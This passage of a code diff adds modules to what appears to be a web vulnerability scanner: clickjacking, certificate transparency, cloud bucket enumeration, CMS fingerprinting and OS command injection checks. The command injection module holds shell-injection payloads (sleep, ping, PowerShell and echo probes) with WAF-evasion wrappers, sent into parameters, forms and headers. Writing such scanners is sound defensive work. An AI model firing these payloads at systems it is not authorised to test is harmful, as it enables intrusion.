+                        remediation="Configure the cache to not cache based on file extension alone. "
+                            "Use Cache-Control: no-store for sensitive pages. Reject or redirect unknown paths.",
+                        evidence=f"GET {test_url} returned {status} with Content-Type: "
+                            f"{resp_headers.get('Content-Type', 'N/A')}",
+                        payload=deception_path,
+                        request_details=f"GET {test_url}",
+                        response_details=f"Status: {status}, Content-Type: "
+                            f"{resp_headers.get('Content-Type', 'N/A')}",
+                        confidence="Medium",
+                        cwe_ids=["CWE-444"],
+                        owasp_category=self._owasp,
+                    )
+        except Exception as e:
+            self.log("ERROR", f"[CachePoison] Web cache deception test error: {e}")

backend/scanners/cert_transparency_scanner.py

@@ -0,0 +1,70 @@
+"""
+cert_transparency_scanner.py — Certificate Transparency Scanner
+"""
+import json, urllib.request
+from scanners.base_scanner import BaseScanner
+
+class CertTransparencyScanner(BaseScanner):
+    SCANNER_NAME = "Certificate Transparency Scanner"
+    _SCANNER_KEY = "cert_transparency"
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+
+    def run(self) -> list:
+        self.log("INFO", f"[CertTransp] Querying crt.sh for {self.domain}...")
+        try:
+            url = f"https://crt.sh/?q=%25.{self.domain}&output=json"
+            req = urllib.request.Request(url, headers=self._make_headers())
+            with urllib.request.urlopen(req, timeout=15, context=self.get_ssl_context()) as r:
+                data = json.loads(r.read().decode("utf-8", errors="ignore"))
+        except Exception as e:
+            self.log("WARNING", f"[CertTransp] crt.sh query failed: {e}")
+            return self.vulns
+
+        if not data:
+            self.log("INFO", "[CertTransp] No CT log entries found.")
+            return self.vulns
+
+        # Extract unique subdomains
+        subdomains = set()
+        for entry in data:
+            name = entry.get("name_value", "")
+            for line in name.split("\n"):
+                line = line.strip().lower()
+                if line and line != self.domain and self.domain in line:
+                    subdomains.add(line)
+
+        if len(subdomains) > 5:
+            self.add_vuln(
+                title=f"Certificate Transparency: {len(subdomains)} Subdomains Discovered",
+                severity="Low", category="Reconnaissance", cvss_score=0.0,
+                description=f"CT logs reveal {len(subdomains)} subdomains for `{self.domain}`:\n\n" +
+                    "\n".join(f"- `{s}`" for s in sorted(subdomains)[:30]),
+                remediation="Audit all discovered subdomains. Decommission unused ones. "
+                    "Use wildcard certs sparingly as they expose the full scope of your infrastructure.")
+
+        # Check for expired certs
+        from datetime import datetime, timezone
+        expired = []
+        for entry in data[:50]:
+            try:
+                not_after = entry.get("not_after", "")
+                exp_date = datetime.strptime(not_after, "%Y-%m-%dT%H:%M:%S").replace(tzinfo=timezone.utc)
+                if exp_date < datetime.now(timezone.utc):
+                    cn = entry.get("common_name", "unknown")
+                    if cn not in [e[0] for e in expired]:
+                        expired.append((cn, not_after))
+            except Exception as e:
+                self.log("ERROR", f"[CertTransp] entry parsing error: {e}")
+                continue
+
+        if expired:
+            self.add_vuln(
+                title=f"Expired Certificates Found ({len(expired)})",
+                severity="Low", category="Certificate Management", cvss_score=3.5,
+                description=f"Expired certificates in CT logs:\n\n" +
+                    "\n".join(f"- `{cn}` expired {d}" for cn, d in expired[:10]),
+                remediation="Renew or revoke expired certificates. Use automated renewal (Let's Encrypt, certbot).")
+
+        self.log("SUCCESS", f"[CertTransp] Found {len(subdomains)} subdomains, {len(expired)} expired certs.")
+        return self.vulns

backend/scanners/clickjacking_scanner.py

@@ -0,0 +1,179 @@
+"""
+clickjacking_scanner.py — Clickjacking Vulnerability Scanner
+=============================================================
+Detects clickjacking vulnerabilities through multiple vectors:
+  - X-Frame-Options header (DENY / SAMEORIGIN / ALLOWFROM)
+  - CSP frame-ancestors directive
+  - JavaScript framebusting code detection
+  - Attempts to verify if the page can actually be framed
+  - Scores the overall clickjacking protection level
+"""
+import re
+import urllib.request
+import urllib.error
+from scanners.base_scanner import BaseScanner
+
+FRAMEBUSTING_RE = re.compile(
+    r"(top\.location|self\.location|parent\.location|"
+    r"window\.top\s*!==\s*window\.self|"
+    r"if\s*\(\s*window\s*!==\s*window\.top|"
+    r"if\s*\(\s*self\s*!==\s*top)",
+    re.I
+)
+
+
+class ClickjackingScanner(BaseScanner):
+    SCANNER_NAME = "Clickjacking Vulnerability Scanner"
+    _SCANNER_KEY = "clickjacking"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+
+    def run(self) -> list:
+        self.log("INFO", f"[Clickjacking] Auditing clickjacking protection on {self.target}...")
+        try:
+            headers, body = self._fetch()
+            self._audit(headers, body)
+        except Exception as e:
+            self.log("ERROR", f"[Clickjacking] Audit error: {e}")
+
+        self.log(
+            "SUCCESS" if not self.vulns else "WARNING",
+            f"[Clickjacking] Audit complete. {len(self.vulns)} issue(s).",
+        )
+        return self.vulns
+
+    def _fetch(self):
+        body, status, resp_headers = self._make_request(
+            self.target,
+            headers={"User-Agent": "LarShield/2.0 Clickjacking-Audit"},
+            return_response_obj=True,
+        )
+        headers = {k.lower(): v for k, v in resp_headers.items()} if resp_headers else {}
+        return headers, body or ""
+
+    def _audit(self, headers: dict, body: str):
+        xfo = headers.get("x-frame-options", "").upper()
+        csp = headers.get("content-security-policy", "")
+        has_framebusting = bool(FRAMEBUSTING_RE.search(body))
+
+        xfo_protected = xfo in ("DENY", "SAMEORIGIN") or xfo.startswith("ALLOW-FROM")
+        csp_protected = "frame-ancestors" in csp.lower()
+
+        if not xfo:
+            self.log("WARNING", "[Clickjacking] X-Frame-Options header is missing")
+            self.add_vuln(
+                title="Missing X-Frame-Options Header",
+                severity="Medium",
+                category="Clickjacking",
+                cvss_score=5.4,
+                description=f"The response from `{self.target}` does not include an "
+                    "`X-Frame-Options` header. Without this header (or a CSP frame-ancestors "
+                    "directive), the page can be embedded in an iframe on any origin, "
+                    "enabling clickjacking attacks.",
+                remediation="Add to your web server configuration:\n"
+                    "  Nginx:  add_header X-Frame-Options \"DENY\" always;\n"
+                    "  Apache: Header always set X-Frame-Options \"DENY\"\n"
+                    "Or use CSP: Content-Security-Policy: frame-ancestors 'none';",
+                evidence="X-Frame-Options header missing from response",
+                request_details=f"GET {self.target}",
+                response_details="No X-Frame-Options header",
+                confidence="Confirmed",
+            )
+        elif xfo == "ALLOWALL" or xfo.startswith("ALLOW-FROM"):
+            self.add_vuln(
+                title=f"X-Frame-Options Set to Permissive Value: '{xfo}'",
+                severity="Medium",
+                category="Clickjacking",
+                cvss_score=4.3,
+                description=f"The `X-Frame-Options` header is set to `{xfo}`, which "
+                    "may allow framing from specific or all origins depending on the value. "
+                    "ALLOW-FROM is also deprecated and ignored by Chrome/Safari.",
+                remediation="Use X-Frame-Options: DENY or SAMEORIGIN. "
+                    "For fine-grained control use CSP frame-ancestors instead.",
+                evidence=f"X-Frame-Options: {xfo}",
+                request_details=f"GET {self.target}",
+                response_details=f"X-Frame-Options: {xfo}",
+                confidence="High",
+            )
+        else:
+            self.log("SUCCESS", f"[Clickjacking] X-Frame-Options: {xfo}")
+
+        if not csp_protected:
+            if xfo_protected:
+                self.add_vuln(
+                    title="CSP frame-ancestors Missing (X-Frame-Options Present as Fallback)",
+                    severity="Low",
+                    category="Clickjacking",
+                    cvss_score=2.0,
+                    description="X-Frame-Options is set correctly, but the CSP header does not "
+                        "include `frame-ancestors`. CSP frame-ancestors supersedes X-Frame-Options "
+                        "in modern browsers and provides finer-grained control.",
+                    remediation="Add: Content-Security-Policy: frame-ancestors 'none'; "
+                        "for defence-in-depth.",
+                    evidence="CSP header present but no frame-ancestors directive",
+                    request_details=f"GET {self.target}",
+                    response_details="CSP missing frame-ancestors",
+                    confidence="Medium",
+                )
+        else:
+            fa_match = re.search(r"frame-ancestors\s+([^;]+)", csp, re.I)
+            if fa_match:
+                fa_value = fa_match.group(1).strip()
+                if fa_value in ("*", "http: https:"):
+                    self.add_vuln(
+                        title=f"CSP frame-ancestors Allows All Origins: '{fa_value}'",
+                        severity="High",
+                        category="Clickjacking",
+                        cvss_score=7.4,
+                        description=f"The CSP `frame-ancestors` directive is set to `{fa_value}`, "
+                            "allowing any origin to embed this page in an iframe.",
+                        remediation="Set: frame-ancestors 'none'; or frame-ancestors 'self';",
+                        evidence=f"frame-ancestors: {fa_value}",
+                        payload=fa_value,
+                        request_details=f"GET {self.target}",
+                        response_details=f"CSP frame-ancestors: {fa_value}",
+                        confidence="Confirmed",
+                    )
+                else:
+                    self.log("SUCCESS", f"[Clickjacking] CSP frame-ancestors: {fa_value}")
+
+        if has_framebusting and not (xfo_protected or csp_protected):
+            self.add_vuln(
+                title="JavaScript Framebusting Only — Bypassable Clickjacking Protection",
+                severity="Medium",
+                category="Clickjacking",
+                cvss_score=5.4,
+                description="The page relies solely on JavaScript-based framebusting code "
+                    "(e.g. `if (top !== self) top.location = self.location`). "
+                    "This can be bypassed via the `sandbox` attribute on iframes: "
+                    "`<iframe sandbox='allow-forms' ...>`.",
+                remediation="Replace JavaScript framebusting with X-Frame-Options or "
+                    "CSP frame-ancestors headers, which are enforced by the browser and "
+                    "cannot be bypassed.",
+                evidence="JavaScript framebusting code detected in response body",
+                request_details=f"GET {self.target}",
+                response_details="Framebusting JS found, no header protection",
+                confidence="High",
+            )
+        elif has_framebusting:
+            self.log("INFO", "[Clickjacking] JavaScript framebusting also detected (defence-in-depth)")
+
+        if not xfo_protected and not csp_protected and not has_framebusting:
+            self.log("CRITICAL", "[Clickjacking] Page is fully unprotected against clickjacking!")
+            self.add_vuln(
+                title="Page Fully Unprotected Against Clickjacking",
+                severity="High",
+                category="Clickjacking",
+                cvss_score=7.4,
+                description=f"`{self.target}` has no X-Frame-Options, no CSP frame-ancestors, "
+                    "and no JavaScript framebusting. Any external site can embed this page "
+                    "in an invisible iframe and trick authenticated users into performing "
+                    "unintended actions (e.g. transferring funds, changing settings).",
+                remediation="Add immediately: add_header X-Frame-Options \"DENY\" always; "
+                    "and Content-Security-Policy: frame-ancestors 'none';",
+                evidence="No X-Frame-Options, no CSP frame-ancestors, no framebusting JS",
+                request_details=f"GET {self.target}",
+                response_details="Fully unprotected response",
+                confidence="Confirmed",
+            )

backend/scanners/cloud_scanner.py

@@ -0,0 +1,62 @@
+import urllib.request, urllib.error, ssl, socket
+from scanners.base_scanner import BaseScanner
+
+class CloudScanner(BaseScanner):
+    SCANNER_NAME = "Cloud Storage Enumerator (S3/Azure/GCP)"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain)
+        self._ctx = ssl.create_default_context()
+        self._ctx.check_hostname = False
+        self._ctx.verify_mode = ssl.CERT_NONE
+        
+        # Clean domain for permutation (e.g., test.com -> test)
+        parts = self.domain.split('.')
+        self.base_name = parts[0] if len(parts) > 1 else self.domain
+
+    def check_bucket(self, url, provider_name):
+        try:
+            req = urllib.request.Request(url, headers={"User-Agent": "LarShield/2.0 Cloud-Enum"})
+            with urllib.request.urlopen(req, timeout=3, context=self._ctx) as resp:
+                body = resp.read().decode("utf-8", errors="ignore")
+                
+                # Check for open bucket listings (XML)
+                if "<ListBucketResult" in body or "<Blobs>" in body:
+                    self.log("CRITICAL", f"[Cloud] {provider_name} bucket is publicly listable: {url}")
+                    self.add_vuln(
+                        title=f"Publicly Accessible {provider_name} Bucket",
+                        severity="Critical",
+                        category="Cloud Security",
+                        cvss_score=9.8,
+                        description=f"A misconfigured {provider_name} bucket was found at `{url}`. It allows unauthenticated users to list all files, potentially exposing PII, backups, or source code.",
+                        remediation=f"Immediately modify the {provider_name} IAM/ACL policies. Remove 'List' and 'Read' permissions for anonymous users or the public 'AllUsers' group."
+                    )
+                elif resp.status in [200, 403]: # Even 403 means the bucket exists, which is info disclosure
+                    pass
+        except urllib.error.HTTPError as e:
+            if e.code not in [404, 400, 403, 502, 503, 504]:
+                self.log("ERROR", f"[Cloud] Bucket check HTTP error: {e}")
+        except urllib.error.URLError as e:
+            if "getaddrinfo failed" not in str(e) and "Name or service not known" not in str(e):
+                self.log("ERROR", f"[Cloud] Bucket check URL error: {e}")
+        except Exception as e:
+            self.log("ERROR", f"[Cloud] Bucket check error: {e}")
+
+    def run(self):
+        self.log("INFO", f"[Cloud] Enumerating misconfigured cloud storage for '{self.base_name}'...")
+        
+        # Common bucket mutations
+        suffixes = ["", "-prod", "-dev", "-staging", "-assets", "-backup", "-static", "-public"]
+        
+        for suffix in suffixes:
+            bucket_name = f"{self.base_name}{suffix}"
+            
+            # AWS S3
+            self.check_bucket(f"https://{bucket_name}.s3.amazonaws.com/", "AWS S3")
+            # GCP Storage
+            self.check_bucket(f"https://storage.googleapis.com/{bucket_name}/", "GCP Storage")
+            # Azure Blob
+            self.check_bucket(f"https://{bucket_name}.blob.core.windows.net/?comp=list", "Azure Blob")
+
+        self.log("SUCCESS" if not self.vulns else "WARNING", "[Cloud] Enumeration complete.")
+        return self.vulns

backend/scanners/cms_scanner.py

@@ -0,0 +1,207 @@
+"""
+cms_scanner.py — CMS Detection & Vulnerability Scanner
+=======================================================
+Detects popular CMS platforms (WordPress, Drupal, Joomla) and checks
+for exposed admin panels, sensitive endpoints (xmlrpc.php), and known
+fingerprints.
+"""
+import re
+from scanners.base_scanner import BaseScanner
+from utils.fingerprint_db import match_tech, find_cves
+
+CMS_FINGERPRINTS = {
+    "WordPress": [
+        ("/wp-login.php", "wp-submit"),
+        ("/xmlrpc.php", "XML-RPC server accepts POST requests only"),
+        ("/wp-json/wp/v2/users", "slug"),
+        ("/wp-admin/", "wp-admin"),
+        ("/wp-content/", "wp-content"),
+    ],
+    "Drupal": [
+        ("/user/login", "form_id\" value=\"user_login"),
+        ("/CHANGELOG.txt", "Drupal"),
+        ("/sites/default/files/", "Drupal"),
+        ("/core/", "Drupal"),
+    ],
+    "Joomla": [
+        ("/administrator/", "Joomla!"),
+        ("/components/", "option="),
+        ("/modules/", "mod_"),
+    ],
+    "Magento": [
+        ("/admin/", "Magento"),
+        ("/static/version", "version"),
+        ("/skin/frontend/", "Magento"),
+    ],
+    "Shopify": [
+        ("/admin/", "Shopify"),
+        ("/admin/auth/login", "shopify"),
+    ],
+    "Squarespace": [
+        ("/config/", "Squarespace"),
+        ("/api/v1/", "squarespace"),
+    ],
+    "Wix": [
+        ("/_api/", "wix"),
+        ("/wix-", "Wix"),
+    ],
+    "Blogger": [
+        ("/feeds/posts/default", "atom"),
+        ("/blog-", "blogger"),
+    ],
+    "Ghost": [
+        ("/ghost/", "Ghost"),
+        ("/ghost/api/", "ghost"),
+    ],
+    "TYPO3": [
+        ("/typo3/", "TYPO3"),
+        ("/typo3conf/", "typo3"),
+    ],
+    "PrestaShop": [
+        ("/admin/", "PrestaShop"),
+        ("/js/tools.js", "PrestaShop"),
+    ],
+    "Django CMS": [
+        ("/admin/", "django"),
+        ("/cms/", "cms"),
+    ],
+}
+
+CMS_VERSION_PATTERNS = {
+    "WordPress": [
+        (r'<meta name="generator" content="WordPress ([0-9.]+)"', "meta generator"),
+        (r'ver=([0-9.]+)"', "script param"),
+        (r'/wp-includes/js/wp-embed.min.js\?ver=([0-9.]+)', "wp-embed"),
+    ],
+    "Drupal": [
+        (r'Drupal ([0-9.]+)', "footer"),
+        (r'<meta name="generator" content="Drupal ([0-9.]+)"', "meta generator"),
+    ],
+    "Joomla": [
+        (r'<meta name="generator" content="Joomla! ([0-9.]+)"', "meta generator"),
+        (r'Joomla! ([0-9.]+)', "body"),
+    ],
+    "Magento": [
+        (r'Magento[,\s]+([0-9.]+)', "header"),
+        (r'version/[0-9.]+', "static url"),
+    ],
+    "Ghost": [
+        (r'<meta name="generator" content="Ghost ([0-9.]+)"', "meta generator"),
+        (r'Ghost ([0-9.]+)', "body"),
+    ],
+}
+
+
+class CmsScanner(BaseScanner):
+    SCANNER_NAME = "CMS Security Scanner"
+    _SCANNER_KEY = "cms"
+
+    def run(self) -> list:
+        self.log("INFO", f"[CMS] Fingerprinting CMS and common vulnerabilities on {self.target}...")
+        base_url = self.target.rstrip("/")
+
+        body, status, _ = self._make_request(
+            self.target,
+            timeout=10,
+            return_response_obj=True,
+        )
+        if status == 0:
+            self.log("WARNING", "[CMS] Could not reach target.")
+            return self.vulns
+
+        detected_cms = set()
+        for cms_name, tests in CMS_FINGERPRINTS.items():
+            for path, expected in tests:
+                test_url = base_url + path
+                test_body, test_status, _ = self._make_request(
+                    test_url,
+                    timeout=5,
+                    return_response_obj=True,
+                )
+                if test_status in (200, 401, 403) and test_body and expected in test_body:
+                    # PHASE 1: Suppress SPA catch-all responses for 200 status
+                    if test_status == 200 and self._is_baseline(test_status, test_body):
+                        self.log("INFO", f"[CMS] SUPPRESSED (baseline match): {test_url}")
+                        continue
+                    if cms_name not in detected_cms:
+                        detected_cms.add(cms_name)
+                        self.log("INFO", f"[CMS] Detected {cms_name} via {path}")
+                    self._report(cms_name, path, test_status)
+
+        if detected_cms:
+            for cms_name in detected_cms:
+                version = self._detect_version(body, cms_name)
+                if version:
+                    self.log("INFO", f"[CMS] {cms_name} version detected: {version}")
+                    self.add_vuln(
+                        title=f"{cms_name} Version Detected: {version}",
+                        severity="Low",
+                        category="CMS Fingerprint",
+                        cvss_score=0.0,
+                        description=f"The {cms_name} installation was detected with version {version}.",
+                        remediation="Ensure the CMS is kept up to date with the latest security patches.",
+                        evidence=f"Version: {version}",
+                        confidence="Confirmed",
+                    )
+
+                    cves = find_cves(cms_name, version)
+                    if cves:
+                        cve_ids = [c["cve"] for c in cves]
+                        self.log("WARNING", f"[CMS] Known CVEs for {cms_name} {version}: {', '.join(cve_ids)}")
+                        self.add_vuln(
+                            title=f"Known CVEs for {cms_name} {version}",
+                            severity="High", category="CMS Vulnerability", cvss_score=max(c["cvss"] for c in cves),
+                            description=f"Version {version} of {cms_name} has {len(cves)} known CVE(s): {', '.join(cve_ids)}.",
+                            remediation=f"Upgrade {cms_name} to the latest version.",
+                            evidence=f"CVEs: {', '.join(cve_ids)}",
+                            confidence="Confirmed",
+                            cve_ids=cve_ids,
+                        )
+
+        if not self.vulns:
+            self.log("SUCCESS", "[CMS] No vulnerable/exposed CMS endpoints detected.")
+        return self.vulns
+
+    def _detect_version(self, body, cms_name):
+        patterns = CMS_VERSION_PATTERNS.get(cms_name, [])
+        for pattern, source in patterns:
+            m = re.search(pattern, body, re.IGNORECASE)
+            if m:
+                return m.group(1)
+        return self.vulns
+    def _report(self, cms_name, path, status):
+        if "xmlrpc.php" in path:
+            self.add_vuln(
+                title=f"{cms_name} XML-RPC API Exposed",
+                severity="Medium",
+                category="CMS Vulnerability",
+                cvss_score=5.3,
+                description=f"The `{cms_name}` XML-RPC endpoint is accessible at `{path}`. "
+                    "This endpoint is frequently abused for brute-force attacks and Pingback SSRF attacks.",
+                remediation="Disable XML-RPC by deleting `xmlrpc.php` or blocking it via `.htaccess` / Nginx config if not actively used.",
+                confidence="Confirmed",
+                response_details=f"HTTP {status}",
+            )
+        elif "wp-json/wp/v2/users" in path:
+            self.add_vuln(
+                title=f"{cms_name} REST API User Enumeration",
+                severity="Medium",
+                category="Information Disclosure",
+                cvss_score=5.3,
+                description=f"The `{cms_name}` REST API is exposing registered usernames at `{path}`. "
+                    "This assists attackers in brute-forcing administrator accounts.",
+                remediation="Restrict access to the REST API endpoints or use a plugin to disable user enumeration.",
+                confidence="Confirmed",
+                response_details=f"HTTP {status}",
+            )
+        else:
+            self.log("INFO", f"[CMS] Exposed {cms_name} admin/login path: {path} (HTTP {status})")
+            self.add_vuln(
+                title=f"Exposed {cms_name} Admin/Login Panel",
+                severity="Low",
+                category="Attack Surface",
+                cvss_score=0.0,
+                description=f"A `{cms_name}` installation was detected with an exposed panel at `{path}`.",
+                remediation="Ensure strong passwords and Two-Factor Authentication (2FA) are enabled.",
+                response_details=f"HTTP {status}",
+            )

backend/scanners/command_injection_scanner.py

@@ -0,0 +1,386 @@
+"""
+command_injection_scanner.py — OS Command Injection Scanner
+============================================================
+Expert-grade active detection (GAP-005 fix):
+  1. GET query parameter injection (reflection-based)
+  2. POST form parameter injection
+  3. HTTP header injection (User-Agent, Referer, X-Forwarded-For)
+  4. Blind timing-based detection (sleep 5 — no output needed)
+  5. Windows + Linux payloads + PowerShell
+  6. OOB DNS/HTTP callback marker (for future Interactsh integration)
+  7. Multi-stage detection: time-based probe → error-based confirm
+  8. JSON POST body parameter injection
+
+FIXES (June 2026):
+  BUG-3:  f-string literal bugs in description strings — {threshold} and {k}
+          were plain strings, not f-strings, so variables were never substituted.
+  BUG-14: Removed unused `import subprocess` (dead code, security red flag).
+"""
+import time, json, urllib.parse
+from scanners.base_scanner import BaseScanner
+from utils.anomaly import TimingAnomalyDetector, SizeAnomalyDetector
+from utils.evasion import waf_evade
+from utils.callback import build_callback_url
+from utils.payload_library import get_cmd_payloads
+
+# Use advanced payload library
+CMD_PAYLOADS = get_cmd_payloads()
+ECHO_PAYLOADS = CMD_PAYLOADS['linux'] + CMD_PAYLOADS['windows'] + CMD_PAYLOADS['powershell']
+BLIND_PAYLOADS = CMD_PAYLOADS['blind']
+
+# ── Multi-stage payloads: first probe timing, then confirm with output ────
+STAGE1_TIMING_PAYLOADS = [
+    ("; sleep 3",              3.0, "Stage 1 probe"),
+    ("| ping -n 4 127.0.0.1", 3.0, "Stage 1 Windows probe"),
+    ("; powershell -c Start-Sleep 3", 3.0, "Stage 1 PowerShell probe"),
+]
+STAGE2_CONFIRM_PAYLOADS = [
+    "; echo WSS_CMD_INJ_CONFIRM",
+    "| echo WSS_CMD_INJ_CONFIRM",
+    "`echo WSS_CMD_INJ_CONFIRM`",
+    "& echo WSS_CMD_INJ_CONFIRM",
+]
+
+# ── Headers to inject into (often piped to log parsers / shell) ───────────
+INJECTABLE_HEADERS = ["User-Agent", "Referer", "X-Forwarded-For", "X-Real-IP"]
+
+PROBE_MARKER = "WSS_CMD_INJ_VULN"
+CONFIRM_MARKER = "WSS_CMD_INJ_CONFIRM"
+
+
+class CommandInjectionScanner(BaseScanner):
+    SCANNER_NAME = "OS Command Injection Scanner"
+    _SCANNER_KEY = "command_injection"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+
+    def run(self) -> list:
+        self.log("INFO", f"[CmdInjection] Scanning {self.target}...")
+        found = False
+
+        self._timing_detector = TimingAnomalyDetector()
+
+        # 1. GET query parameters
+        found = found or self._test_get_params()
+        if found: return self.vulns
+
+        # 2. POST form parameters
+        found = found or self._test_post_forms()
+        if found: return self.vulns
+
+        # 3. HTTP header injection
+        found = found or self._test_header_injection()
+        if found: return self.vulns
+
+        # 4. JSON body injection (ENH: modern APIs)
+        found = found or self._test_json_body_cmdi()
+        if found: return self.vulns
+
+        # 5. Blind timing on GET params (if echo-based failed)
+        self._test_blind_timing()
+
+        # 6. Multi-stage detection: probe timing then confirm with echo
+        if not self.vulns:
+            self._test_multi_stage()
+
+        # 7. OOB callback detection
+        if not self.vulns:
+            self._test_oob_cmdi()
+
+        if not self.vulns:
+            self.log("SUCCESS", "[CmdInjection] No OS command injection detected.")
+        return self.vulns
+
+    # ── 1. GET params ──────────────────────────────────────────────────
+    def _test_get_params(self) -> bool:
+        parsed = urllib.parse.urlparse(self.target)
+        qs = urllib.parse.parse_qsl(parsed.query)
+        if not qs:
+            self.log("INFO", "[CmdInjection] No GET params found.")
+            return False
+
+        for k, _ in qs:
+            for payload in ECHO_PAYLOADS:
+                for eva_name, eva_payload in waf_evade(payload):
+                    test_qs = [(k_p, (eva_payload if k_p == k else v_p)) for k_p, v_p in qs]
+                    test_url = parsed._replace(query=urllib.parse.urlencode(test_qs)).geturl()
+                    body, status = self._make_request(test_url)
+                    if body and PROBE_MARKER in body:
+                        self._report("GET", k, eva_payload, body, confidence="Confirmed")
+                        return True
+        return False
+
+    # ── 2. POST forms ──────────────────────────────────────────────────
+    def _test_post_forms(self) -> bool:
+        html, _ = self._make_request(self.target)
+        if not html:
+            return False
+
+        import re
+        forms = re.findall(r'<form[^>]*>.*?</form>', html, re.S | re.I)
+        for form_html in forms[:3]:
+            action_m = re.search(r'action=["\']([^"\']*)["\']', form_html, re.I)
+            action = self._resolve_url(action_m.group(1) if action_m else "")
+            fields = re.findall(r'name=["\']([^"\']+)["\']', form_html, re.I)
+
+            for field in fields:
+                for payload in ECHO_PAYLOADS[:4]:
+                    for eva_name, eva_payload in waf_evade(payload):
+                        data = urllib.parse.urlencode(
+                            {f: (eva_payload if f == field else "test") for f in fields}
+                        ).encode()
+                        body, status = self._make_request(action, "POST", data,
+                            {"Content-Type": "application/x-www-form-urlencoded"})
+                        if body and PROBE_MARKER in body:
+                            self._report("POST form", field, eva_payload, body, confidence="Confirmed")
+                            return True
+
+            # JSON body
+            for field in fields[:3]:
+                for payload in ECHO_PAYLOADS[:3]:
+                    for eva_name, eva_payload in waf_evade(payload):
+                        j = json.dumps({f: (eva_payload if f == field else "test") for f in fields}).encode()
+                        body, status = self._make_request(action, "POST", j,
+                            {"Content-Type": "application/json"})
+                        if body and PROBE_MARKER in body:
+                            self._report("POST JSON", field, eva_payload, body, confidence="Confirmed")
+                            return True
+        return False
+
+    # ── 3. Header injection ────────────────────────────────────────────
+    def _test_header_injection(self) -> bool:
+        for header in INJECTABLE_HEADERS:
+            for payload in ECHO_PAYLOADS[:6]:
+                for eva_name, eva_payload in waf_evade(payload):
+                    body, status = self._make_request(
+                        self.target, headers={header: f"Mozilla/5.0 {eva_payload}"}
+                    )
+                    if body and PROBE_MARKER in body:
+                        self._report(f"Header:{header}", header, eva_payload, body, confidence="Confirmed")
+                        return True
+        return False
+
+    # ── 4. Blind timing ────────────────────────────────────────────────
+    def _test_blind_timing(self) -> bool:
+        parsed = urllib.parse.urlparse(self.target)
+        qs = urllib.parse.parse_qsl(parsed.query)
+        if not qs:
+            return False
+
+        # BUG-8 FIX (propagated): use correct positional arg signature for _make_request
+        self._timing_detector.build_baseline(lambda u, m, d, h, t: self._make_request(u, m, d, h, t), self.target, n=5)
+
+        for k, _ in qs[:3]:
+            for payload, threshold, label in BLIND_PAYLOADS:
+                for eva_name, eva_payload in waf_evade(payload):
+                    test_qs = [(k_p, (eva_payload if k_p == k else v_p)) for k_p, v_p in qs]
+                    test_url = parsed._replace(query=urllib.parse.urlencode(test_qs)).geturl()
+                    _, _, elapsed = self._make_timed_request(test_url, timeout=15)
+
+                    if self._timing_detector.test_payload(f"cmdi_blind_{k}", elapsed, eva_payload, z_threshold=2.5) and elapsed >= threshold:
+                        self.log("CRITICAL",
+                            f"[CmdInjection] Blind timing confirmed: param=`{k}` "
+                            f"payload=`{eva_payload}` elapsed={elapsed:.1f}s ({label})")
+                        self.add_vuln(
+                            title=f"Blind OS Command Injection in GET parameter `{k}`",
+                            severity="Critical",
+                            category="Command Injection",
+                            cvss_score=10.0,
+                            cwe_ids=["CWE-78"],
+                            owasp_category="A03:2021 – Injection",
+                            confidence="High",
+                            cve_ids=[],
+                            references=["https://owasp.org/www-community/attacks/Command_Injection"],
+                            description=(
+                                f"Timing-based blind OS command injection detected in GET parameter `{k}`.\n\n"
+                                f"**Payload:** `{eva_payload}` ({label})\n"
+                                f"**Elapsed:** {elapsed:.1f}s vs baseline {self._timing_detector.mean:.1f}s\n\n"
+                                # BUG-3 FIX: was a regular string — {threshold} printed literally.
+                                # Now using f-string so threshold value is interpolated.
+                                f"The application passed user input to a system shell without sanitization. "
+                                f"No output was reflected (blind), but the {threshold}s delay confirms execution."
+                            ),
+                            remediation=(
+                                "1. **Never** pass user input to `os.system()`, `exec()`, `shell_exec()`, or `subprocess(shell=True)`.\n"
+                                "2. Use language-specific APIs with argument arrays (not shell strings).\n"
+                                "3. Apply input allowlisting — only permit alphanumeric characters.\n"
+                                "4. Run the application as a non-privileged user."
+                            ),
+                            payload=eva_payload,
+                            evidence=f"Timing: {elapsed:.1f}s vs baseline {self._timing_detector.mean:.1f}s, threshold={threshold}s",
+                            request_details=f"GET {test_url}",
+                            response_details=f"Response time: {elapsed:.2f}s",
+                        )
+                        return True
+        return False
+
+    # ── 5. Multi-stage detection ───────────────────────────────────────
+    def _test_multi_stage(self) -> bool:
+        """Probe with time-based delay, then confirm with echo payload."""
+        parsed = urllib.parse.urlparse(self.target)
+        qs = urllib.parse.parse_qsl(parsed.query)
+        if not qs:
+            return False
+
+        self._timing_detector.build_baseline(lambda u, m, d, h, t: self._make_request(u, m, d, h, t), self.target, n=5)
+
+        for k, _ in qs[:2]:
+            for payload, threshold, label in STAGE1_TIMING_PAYLOADS:
+                for eva_name, eva_payload in waf_evade(payload):
+                    test_qs = [(k_p, (eva_payload if k_p == k else v_p)) for k_p, v_p in qs]
+                    test_url = parsed._replace(query=urllib.parse.urlencode(test_qs)).geturl()
+                    _, _, elapsed = self._make_timed_request(test_url, timeout=15)
+
+                    if self._timing_detector.test_payload(f"cmdi_stage1_{k}", elapsed, eva_payload, z_threshold=2.5) and elapsed >= threshold:
+                        self.log("INFO",
+                            f"[CmdInjection] Multi-stage: timing probe hit on param `{k}` "
+                            f"({elapsed:.1f}s). Now confirming with echo payload...")
+
+                        for confirm_payload in STAGE2_CONFIRM_PAYLOADS:
+                            for eva_name, eva_confirm in waf_evade(confirm_payload):
+                                confirm_qs = [(k_p, (eva_confirm if k_p == k else v_p)) for k_p, v_p in qs]
+                                confirm_url = parsed._replace(query=urllib.parse.urlencode(confirm_qs)).geturl()
+                                body, status = self._make_request(confirm_url)
+                                if body and CONFIRM_MARKER in body:
+                                    self._report("Multi-stage", k, eva_confirm, body, confidence="Confirmed")
+                                    return True
+
+                        self.add_vuln(
+                            title=f"Possible Blind OS Command Injection in GET parameter `{k}` (Multi-stage)",
+                            severity="Critical",
+                            category="Command Injection",
+                            cvss_score=9.5,
+                            cwe_ids=["CWE-78"],
+                            owasp_category="A03:2021 – Injection",
+                            confidence="Medium",
+                            references=["https://owasp.org/www-community/attacks/Command_Injection"],
+                            description=(
